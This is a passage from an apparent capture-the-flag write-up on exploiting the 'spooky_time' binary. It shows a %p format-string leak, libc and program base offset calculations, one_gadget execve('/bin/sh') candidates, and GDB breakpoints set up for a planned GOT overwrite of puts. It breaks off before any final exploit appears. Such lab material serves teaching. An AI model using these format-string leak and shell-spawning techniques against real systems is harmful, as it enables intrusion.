0x007fd86aec4000 0x007fd86aec6000 0x00000000039000 rw- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffce6057000 0x007ffce6078000 0x00000000000000 rw- [stack]
0x007ffce6109000 0x007ffce610d000 0x00000000000000 r-- [vvar]
0x007ffce610d000 0x007ffce610f000 0x00000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]

It looks like the libc:s base address is now at 0x007fd86ac00000. Let’s do the leak again.

gef➤  c
Continuing.


You know what time it is? It's SPOOKY time!


        ▗▄ ▝▀▀▀ ▗▄                                         
      ▗▞▘         ▝▀▄                                      
     ▞▘              ▘▖   ▗   ▗   ▗   ▗   ▗   ▗   ▗   ▗    
   ▝▞                 ▝▖▝    ▘   ▘   ▘   ▘   ▘   ▘   ▘   ▘ 
   ▐                   ▚                                   
   ▌   ▗▄▄       ▄▖    ▝▖   ▖            ▄▄▖ ▘ ▗▄▖         
  ▐    ███      ███▌    ▌ ▝    ▖▘  ▖▘ ▗▞▀         ▀▗▘ ▗ ▘ ▗
  ▞    ▝▀▘  ▄▄  ▝▀▀     ▐            ▞▘             ▀▖     
  ▌        ▐██▌         ▐           ▞                ▝▖    
  ▌         ▀▀          ▐    ▖▘   ▗▞                  ▐    
  ▌                     ▐        ▝▗▘                   ▚ ▝ 
  ▌                     ▐         ▐     ▄▄▖      ▄▄▖   ▝▖  
  ▌                     ▐       ▖ ▌    ▐███     ▐██▛    ▚  
  ▌                      ▖   ▘    ▌     ▀▀▘      ▀▀▘    ▐  
  ▚                      ▚        ▌         ▐▖▗▌        ▝  
  ▐                      ▝▖ ▖  ▘  ▌                     ▝▌ 
  ▝▖                      ▝▖      ▌                      ▌ 
   ▌                       ▝▄  ▖  ▌                      ▌ 
   ▚                         ▌   ▝▌                      ▌ 
   ▐                       ▄▀    ▐                       ▌ 
    ▌   ▄▄▖       ▄▝▘▘ ▀▀▀       ▌                      ▗▘ 
  ▗ ▝▄▀▘   ▝▀ ▄▄▖▀              ▐                       ▐  
                               ▐▘                       ▐  
                     ▗        ▞▘                        ▞  
                    ▗   ▖ ▝  ▛                          ▌  
  ▝ ▝       ▖▘ ▗  ▗▝          ▚▖                       ▐   
         ▗                   ▖  ▀ ▝▀▀ ▀▘▄       ▗▄▄▖   ▌   
      ▗▝                ▗ ▘ ▘            ▀ ▄▄▖▝▀    ▝▘▞    


It's your chance to scare those little kids, say something scary!

Boo 

Seriously?? I bet you can do better than 
Boo
Anyway, here comes another bunch of kids, let's try one more time..


%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

Ok, you are not good with that, do you think that was scary??

0x1,0x1,0x7fd86ad14a37,0x3f,0x7fd86ae19280,0x6f6f4200008000,0x800,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x70252c70252c70,0xc,0x1,0x1,0x1,0x55ee28bad040,0x7fd86aea985c,0x7f0,0x7ffce6075749,0x7ffce610d000,0x10101000000,0x2,0xbfebfbff,0x7ffce6075759,0x64,0x1000,0xfcc087f76a95e800,0x1,0x7fd86ac29d90,(nil),0x55ee28bae3c0,0x1e6075430,0x7ffce6075448,(nil),0x6e5576256682a5b5,0x7ffce6075448,0x55ee28bae3c0,0x55ee28bb0b80,0x7fd86aec4040,0x91acba2bc000a5b5,0x91e5a3a05c08a5b5,0x7fd800000000,(nil),(nil)Better luck next time!

[Inferior 1 (process 23253) exited normally]

It’s easy to locate number 3 there it’s 0x7fd86ad14a37. So let’s do the math again.

[~/Downloads/challenge]$ python3
Python 3.10.6 (main, Aug 10 2022, 11:40:04) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fd86ad14a37 - 0x007fd86ac00000
1133111

And we get the same offest again. So this is probably a stable leak that could be used to calculate the libc base address. We take note of index 3 on the stack and the offset 1133111. Now let’s do the same thing for the GOT.

Leking the base address of the spooky_time executable

First of all load up the binary in GDB and load everyting in memory using the start command.

[~/Downloads/challenge]$ gdb spooky_time
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gef➤  start
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[+] Breaking at '0x13c0'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x005555555553c0  →  <main+0> endbr64 
$rbx   : 0x0               
$rcx   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$rdx   : 0x007fffffffdfc8  →  0x007fffffffe30e  →  "SYSTEMD_EXEC_PID=11136"
$rsp   : 0x007fffffffdea0  →  0x0000000000000001
$rbp   : 0x007fffffffdea0  →  0x0000000000000001
$rsi   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$rdi   : 0x1               
$rip   : 0x005555555553c8  →  <main+8> sub rsp, 0x150
$r8    : 0x007ffff7e1af10  →  0x0000000000000004
$r9    : 0x007ffff7fc9040  →  <_dl_fini+0> endbr64 
$r10   : 0x007ffff7fc3908  →  0x000d00120000000e
$r11   : 0x007ffff7fde680  →  <_dl_audit_preinit+0> endbr64 
$r12   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x005555555553c0  →  <main+0> endbr64 
$r14   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdea0│+0x0000: 0x0000000000000001	 ← $rsp, $rbp
0x007fffffffdea8│+0x0008: 0x007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax
0x007fffffffdeb0│+0x0010: 0x0000000000000000
0x007fffffffdeb8│+0x0018: 0x005555555553c0  →  <main+0> endbr64 
0x007fffffffdec0│+0x0020: 0x00000001ffffdfa0
0x007fffffffdec8│+0x0028: 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
0x007fffffffded0│+0x0030: 0x0000000000000000
0x007fffffffded8│+0x0038: 0xeb151fb23eb4b614
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555553c0 <main+0>         endbr64 
   0x5555555553c4 <main+4>         push   rbp
   0x5555555553c5 <main+5>         mov    rbp, rsp
 → 0x5555555553c8 <main+8>         sub    rsp, 0x150
   0x5555555553cf <main+15>        mov    rax, QWORD PTR fs:0x28
   0x5555555553d8 <main+24>        mov    QWORD PTR [rbp-0x8], rax
   0x5555555553dc <main+28>        xor    eax, eax
   0x5555555553de <main+30>        call   0x555555555348 <setup>
   0x5555555553e3 <main+35>        call   0x555555555249 <banner>
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x5555555553c8 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555553c8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────

Let’s just do that vmmap thing in GDB again to find out where the base address of the executable is located.

gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555555000 0x00555555556000 0x00000000001000 r-x /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555556000 0x00555555557000 0x00000000002000 r-- /home/f1rstr3am/Downloads/challenge/spooky_time
0x00555555557000 0x00555555558000 0x00000000002000 rw- /home/f1rstr3am/Downloads/challenge/spooky_time
0x007ffff7c00000 0x007ffff7c28000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7c28000 0x007ffff7dbd000 0x00000000028000 r-x /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7dbd000 0x007ffff7e15000 0x000000001bd000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e15000 0x007ffff7e19000 0x00000000214000 r-- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e19000 0x007ffff7e1b000 0x00000000218000 rw- /home/f1rstr3am/Downloads/challenge/glibc/libc.so.6
0x007ffff7e1b000 0x007ffff7e28000 0x00000000000000 rw- 
0x007ffff7fb8000 0x007ffff7fbd000 0x00000000000000 rw- 
0x007ffff7fbd000 0x007ffff7fc1000 0x00000000000000 r-- [vvar]
0x007ffff7fc1000 0x007ffff7fc3000 0x00000000000000 r-x [vdso]
0x007ffff7fc3000 0x007ffff7fc5000 0x00000000000000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7fc5000 0x007ffff7fef000 0x00000000002000 r-x /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7fef000 0x007ffff7ffa000 0x0000000002c000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7ffb000 0x007ffff7ffd000 0x00000000037000 r-- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7fff000 0x00000000039000 rw- /home/f1rstr3am/Downloads/challenge/glibc/ld-linux-x86-64.so.2
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]

The spooky_binary is loaded between the base address 0x00555555554000 and 0x00555555558000. If we look back at the indexed leaked adresses we can find this:

---
46: 0x1000
47: 0xf0d7fb75b3c63100
48: 0x1
49: 0x7ffff7c29d90
50: (nil)
51: 0x5555555553c0
52: 0x1ffffdfa0
53: 0x7fffffffdfb8
54: (nil)
...

Number 51 there looks interesting since it’s within the 0x00555555554000 - 0x00555555558000 range. Let’s use our gdb trick again to see what address this is.

gef➤  x/i 0x5555555553c0
   0x5555555553c0 <main>:	endbr64 

Wow!!! That’s the start of main and a perfect location to use for our calculation. Let’s do some math again.

[~/Downloads/challenge]$ python3
Python 3.10.6 (main, Aug 10 2022, 11:40:04) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x5555555553c0 - 0x00555555554000
5056

So the offset between our leaked address and the base address of the program is 5054. We should now be able to leak addresses and calulate the base of both libc and the base address of the spooky_time binary. Let’s take a note of this:

3: __GI___libc_write+23>
offset: 1133111

51: main
offset: 5056

We want to spawn a shell but we are kind of limited in what we can do, so let’s try to find a one gadget so that we can spawn our shell in one simple call.

Let’s find a one gadget using the one_gadget tool.

[~/Downloads/challenge]$ one_gadget -f glibc/libc.so.6 
0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

The gadget at the offset 0xebcf5 looks interesting. If we call it with r10 and rdx is null or the addresses r10 and rdx is pointing at is null we should be able to spawn a shell with this simple call. I plan to overwrite the entry of puts in the GOT so let’s see what the conditions are when entering puts() after our printf(). So we need to find out if this condition is even possible when the PLT calls the address stored in GOT. Therefor we load up the executable in GDB again.

[~/Downloads/challenge]$ gdb spooky_time 
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.00ms using Python engine 3.10
Reading symbols from spooky_time...
(No debugging symbols found in spooky_time)
gef➤  start
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[+] Breaking at '0x13c0'
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc1000'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x005555555553c0  →  <main+0> endbr64 
$rbx   : 0x0               
$rcx   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$rdx   : 0x007fffffffdfc8  →  0x007fffffffe30e  →  "SYSTEMD_EXEC_PID=11136"
$rsp   : 0x007fffffffdea0  →  0x0000000000000001
$rbp   : 0x007fffffffdea0  →  0x0000000000000001
$rsi   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$rdi   : 0x1               
$rip   : 0x005555555553c8  →  <main+8> sub rsp, 0x150
$r8    : 0x007ffff7e1af10  →  0x0000000000000004
$r9    : 0x007ffff7fc9040  →  <_dl_fini+0> endbr64 
$r10   : 0x007ffff7fc3908  →  0x000d00120000000e
$r11   : 0x007ffff7fde680  →  <_dl_audit_preinit+0> endbr64 
$r12   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x005555555553c0  →  <main+0> endbr64 
$r14   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdea0│+0x0000: 0x0000000000000001	 ← $rsp, $rbp
0x007fffffffdea8│+0x0008: 0x007ffff7c29d90  →  <__libc_start_call_main+128> mov edi, eax
0x007fffffffdeb0│+0x0010: 0x0000000000000000
0x007fffffffdeb8│+0x0018: 0x005555555553c0  →  <main+0> endbr64 
0x007fffffffdec0│+0x0020: 0x00000001ffffdfa0
0x007fffffffdec8│+0x0028: 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
0x007fffffffded0│+0x0030: 0x0000000000000000
0x007fffffffded8│+0x0038: 0x979b47f8c0939966
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555553c0 <main+0>         endbr64 
   0x5555555553c4 <main+4>         push   rbp
   0x5555555553c5 <main+5>         mov    rbp, rsp
 → 0x5555555553c8 <main+8>         sub    rsp, 0x150
   0x5555555553cf <main+15>        mov    rax, QWORD PTR fs:0x28
   0x5555555553d8 <main+24>        mov    QWORD PTR [rbp-0x8], rax
   0x5555555553dc <main+28>        xor    eax, eax
   0x5555555553de <main+30>        call   0x555555555348 <setup>
   0x5555555553e3 <main+35>        call   0x555555555249 <banner>
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x5555555553c8 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555553c8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────

We disassemble main and put a breakpoint just before that last call to puts().

gef➤  disassemble main
Dump of assembler code for function main:
   0x00005555555553c0 <+0>:	endbr64 
   0x00005555555553c4 <+4>:	push   rbp
   0x00005555555553c5 <+5>:	mov    rbp,rsp
   0x00005555555553c8 <+8>:	sub    rsp,0x150
   0x00005555555553cf <+15>:	mov    rax,QWORD PTR fs:0x28
   0x00005555555553d8 <+24>:	mov    QWORD PTR [rbp-0x8],rax
   0x00005555555553dc <+28>:	xor    eax,eax
   0x00005555555553de <+30>:	call   0x555555555348 <setup>
   0x00005555555553e3 <+35>:	call   0x555555555249 <banner>
   0x00005555555553e8 <+40>:	lea    rax,[rip+0x1531]        # 0x555555556920
   0x00005555555553ef <+47>:	mov    rdi,rax
   0x00005555555553f2 <+50>:	call   0x5555555550d0 <puts@plt>
   0x00005555555553f7 <+55>:	lea    rax,[rbp-0x14c]
   0x00005555555553fe <+62>:	mov    rsi,rax
   0x0000555555555401 <+65>:	lea    rax,[rip+0x155b]        # 0x555555556963
   0x0000555555555408 <+72>:	mov    rdi,rax
   0x000055555555540b <+75>:	mov    eax,0x0
   0x0000555555555410 <+80>:	call   0x555555555140 <__isoc99_scanf@plt>
   0x0000555555555415 <+85>:	lea    rax,[rip+0x154c]        # 0x555555556968
   0x000055555555541c <+92>:	mov    rdi,rax
   0x000055555555541f <+95>:	call   0x5555555550d0 <puts@plt>
   0x0000555555555424 <+100>:	lea    rax,[rbp-0x14c]
   0x000055555555542b <+107>:	mov    rdi,rax
   0x000055555555542e <+110>:	mov    eax,0x0
   0x0000555555555433 <+115>:	call   0x5555555550f0 <printf@plt>
   0x0000555555555438 <+120>:	lea    rax,[rip+0x1559]        # 0x555555556998
   0x000055555555543f <+127>:	mov    rdi,rax
   0x0000555555555442 <+130>:	call   0x5555555550d0 <puts@plt>
   0x0000555555555447 <+135>:	lea    rax,[rip+0x158f]        # 0x5555555569dd
   0x000055555555544e <+142>:	mov    rdi,rax
   0x0000555555555451 <+145>:	call   0x5555555550d0 <puts@plt>
   0x0000555555555456 <+150>:	lea    rax,[rbp-0x140]
   0x000055555555545d <+157>:	mov    rsi,rax
   0x0000555555555460 <+160>:	lea    rax,[rip+0x1578]        # 0x5555555569df
   0x0000555555555467 <+167>:	mov    rdi,rax
   0x000055555555546a <+170>:	mov    eax,0x0
   0x000055555555546f <+175>:	call   0x555555555140 <__isoc99_scanf@plt>
   0x0000555555555474 <+180>:	lea    rax,[rip+0x156d]        # 0x5555555569e8
   0x000055555555547b <+187>:	mov    rdi,rax
   0x000055555555547e <+190>:	call   0x5555555550d0 <puts@plt>
   0x0000555555555483 <+195>:	lea    rax,[rbp-0x140]
   0x000055555555548a <+202>:	mov    rdi,rax
   0x000055555555548d <+205>:	mov    eax,0x0
   0x0000555555555492 <+210>:	call   0x5555555550f0 <printf@plt>
   0x0000555555555497 <+215>:	lea    rax,[rip+0x158a]        # 0x555555556a28
   0x000055555555549e <+222>:	mov    rdi,rax
   0x00005555555554a1 <+225>:	call   0x5555555550d0 <puts@plt>
   0x00005555555554a6 <+230>:	nop
   0x00005555555554a7 <+231>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00005555555554ab <+235>:	sub    rax,QWORD PTR fs:0x28
   0x00005555555554b4 <+244>:	je     0x5555555554bb <main+251>
   0x00005555555554b6 <+246>:	call   0x5555555550e0 <__stack_chk_fail@plt>
   0x00005555555554bb <+251>:	leave  
   0x00005555555554bc <+252>:	ret    
End of assembler dump.
gef➤  b *0x00005555555554a1
Breakpoint 1 at 0x5555555554a1

Now let’s continue to run the program until we hit that breakpoint.

gef➤  c
Continuing.


You know what time it is? It's SPOOKY time!


        ▗▄ ▝▀▀▀ ▗▄                                         
      ▗▞▘         ▝▀▄                                      
     ▞▘              ▘▖   ▗   ▗   ▗   ▗   ▗   ▗   ▗   ▗    
   ▝▞                 ▝▖▝    ▘   ▘   ▘   ▘   ▘   ▘   ▘   ▘ 
   ▐                   ▚                                   
   ▌   ▗▄▄       ▄▖    ▝▖   ▖            ▄▄▖ ▘ ▗▄▖         
  ▐    ███      ███▌    ▌ ▝    ▖▘  ▖▘ ▗▞▀         ▀▗▘ ▗ ▘ ▗
  ▞    ▝▀▘  ▄▄  ▝▀▀     ▐            ▞▘             ▀▖     
  ▌        ▐██▌         ▐           ▞                ▝▖    
  ▌         ▀▀          ▐    ▖▘   ▗▞                  ▐    
  ▌                     ▐        ▝▗▘                   ▚ ▝ 
  ▌                     ▐         ▐     ▄▄▖      ▄▄▖   ▝▖  
  ▌                     ▐       ▖ ▌    ▐███     ▐██▛    ▚  
  ▌                      ▖   ▘    ▌     ▀▀▘      ▀▀▘    ▐  
  ▚                      ▚        ▌         ▐▖▗▌        ▝  
  ▐                      ▝▖ ▖  ▘  ▌                     ▝▌ 
  ▝▖                      ▝▖      ▌                      ▌ 
   ▌                       ▝▄  ▖  ▌                      ▌ 
   ▚                         ▌   ▝▌                      ▌ 
   ▐                       ▄▀    ▐                       ▌ 
    ▌   ▄▄▖       ▄▝▘▘ ▀▀▀       ▌                      ▗▘ 
  ▗ ▝▄▀▘   ▝▀ ▄▄▖▀              ▐                       ▐  
                               ▐▘                       ▐  
                     ▗        ▞▘                        ▞  
                    ▗   ▖ ▝  ▛                          ▌  
  ▝ ▝       ▖▘ ▗  ▗▝          ▚▖                       ▐   
         ▗                   ▖  ▀ ▝▀▀ ▀▘▄       ▗▄▄▖   ▌   
      ▗▝                ▗ ▘ ▘            ▀ ▄▄▖▝▀    ▝▘▞    


It's your chance to scare those little kids, say something scary!

Boo

Seriously?? I bet you can do better than 
Boo
Anyway, here comes another bunch of kids, let's try one more time..


AAAA

Ok, you are not good with that, do you think that was scary??

AAAA
Breakpoint 1, 0x00005555555554a1 in main ()

[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00555555556a28  →  "Better luck next time!\n"
$rbx   : 0x0               
$rcx   : 0x007ffff7d14a37  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x007fffffffdd50  →  0x006f6f4200008000
$rbp   : 0x007fffffffdea0  →  0x0000000000000001
$rsi   : 0x007fffffffbc30  →  0x00000041414141 ("AAAA"?)
$rdi   : 0x00555555556a28  →  "Better luck next time!\n"
$rip   : 0x005555555554a1  →  <main+225> call 0x5555555550d0 <puts@plt>
$r8    : 0x4               
$r9    : 0x007ffff7e19280  →  0x0000000000000008
$r10   : 0x007fffffffdd60  →  0x00000041414141 ("AAAA"?)
$r11   : 0x246             
$r12   : 0x007fffffffdfb8  →  0x007fffffffe2de  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x005555555553c0  →  <main+0> endbr64 
$r14   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
─────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd50│+0x0000: 0x006f6f4200008000	 ← $rsp
0x007fffffffdd58│+0x0008: 0x0000000000000800
0x007fffffffdd60│+0x0010: 0x00000041414141 ("AAAA"?)	 ← $r10
0x007fffffffdd68│+0x0018: 0x0000000000090000
0x007fffffffdd70│+0x0020: 0x0000000000090000
0x007fffffffdd78│+0x0028: 0x0000000000002000
0x007fffffffdd80│+0x0030: 0x0000000000000002
0x007fffffffdd88│+0x0038: 0x800000000000000e
───────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555555492 <main+210>       call   0x5555555550f0 <printf@plt>
   0x555555555497 <main+215>       lea    rax, [rip+0x158a]        # 0x555555556a28
   0x55555555549e <main+222>       mov    rdi, rax
 → 0x5555555554a1 <main+225>       call   0x5555555550d0 <puts@plt>
   ↳  0x5555555550d0 <puts@plt+0>     endbr64 
      0x5555555550d4 <puts@plt+4>     bnd    jmp QWORD PTR [rip+0x2cc5]        # 0x555555557da0 <[email protected]>
      0x5555555550db <puts@plt+11>    nop    DWORD PTR [rax+rax*1+0x0]
      0x5555555550e0 <__stack_chk_fail@plt+0> endbr64 
      0x5555555550e4 <__stack_chk_fail@plt+4> bnd    jmp QWORD PTR [rip+0x2cbd]        # 0x555555557da8 <[email protected]>
      0x5555555550eb <__stack_chk_fail@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
───────────────────────────────────────────────────────────────────── arguments (guessed) ────
puts@plt (
   $rdi = 0x00555555556a28 → "Better luck next time!\n",
   $rsi = 0x007fffffffbc30 → 0x00000041414141 ("AAAA"?),
   $rdx = 0x00000000000000
)
───────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "spooky_time", stopped 0x5555555554a1 in main (), reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555554a1 → main()
──────────────────────────────────────────────────────────────────────────────────────────────

Now find out where the plt code is located and then we put a breakpoint just before calling the address in the GOT.

gef➤  info function puts@plt
All functions matching regular expression "puts@plt":

Non-debugging symbols:
0x00005555555550d0  puts@plt
gef➤  x/2i 0x00005555555550d0
   0x5555555550d0 <puts@plt>:	endbr64 
=> 0x5555555550d4 <puts@plt+4>:	bnd jmp QWORD PTR [rip+0x2cc5]        # 0x555555557da0 <[email protected]>
gef➤  b *0x5555555550d4
Note: breakpoint 2 also set at pc 0x5555555550d4.
Breakpoint 2 at 0x5555555550d4

Once again continue the execution until we hit our second breakpoint.

gef➤  c
Continuing.

Breakpoint 2, 0x00005555555550d4 in puts@plt ()

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00555555556a28  →  "Better luck next time!\n"
$rbx   : 0x0               
$rcx   : 0x007ffff7d14a37  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0               
$rsp   : 0x007fffffffdd28  →  0x005555555554a6  →  <main+230> nop 
$rbp   : 0x007fffffffde80  →  0x0000000000000001
$rsi   : 0x007fffffffbc10  →  0x00000041414141 ("AAAA"?)
$rdi   : 0x00555555556a28  →  "Better luck next time!\n"
$rip   : 0x005555555550d4  →  <puts@plt+4> bnd jmp QWORD PTR [rip+0x2cc5]        # 0x555555557da0 <[email protected]>
$r8    : 0x4               
$r9    : 0x007ffff7e19280  →  0x0000000000000008
$r10   : 0x007fffffffdd40  →  0x00000041414141 ("AAAA"?)
$r11   : 0x246             
$r12   : 0x007fffffffdf98  →  0x007fffffffe2cc  →  "/home/f1rstr3am/Downloads/challenge/spooky_time"
$r13   : 0x005555555553c0  →  <main+0> endbr64 
$r14   : 0x00555555557b80  →  0x00555555555200  →  <__do_global_dtors_aux+0> endbr64 
$r15   : 0x007ffff7ffd040  →  0x007ffff7ffe2e0  →  0x00555555554000  →   jg 0x555555554047
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
───────────────────────────────────────────────────────────────────── stack ────
0x007fffffffdd28│+0x0000: 0x005555555554a6  →  <main+230> nop 	 ← $rsp
0x007fffffffdd30│+0x0008: 0x6f6f6f6200008000
0x007fffffffdd38│+0x0010: 0x0000000000000800
0x007fffffffdd40│+0x0018: 0x00000041414141 ("AAAA"?)	 ← $r10
0x007fffffffdd48│+0x0020: 0x0000000000090000
0x007fffffffdd50│+0x0028: 0x0000000000090000
0x007fffffffdd58│+0x0030: 0x0000000000002000
0x007fffffffdd60│+0x0038: 0x0000000000008000
─────────────────────────────────────────────────────────────── code:x86:64 ────
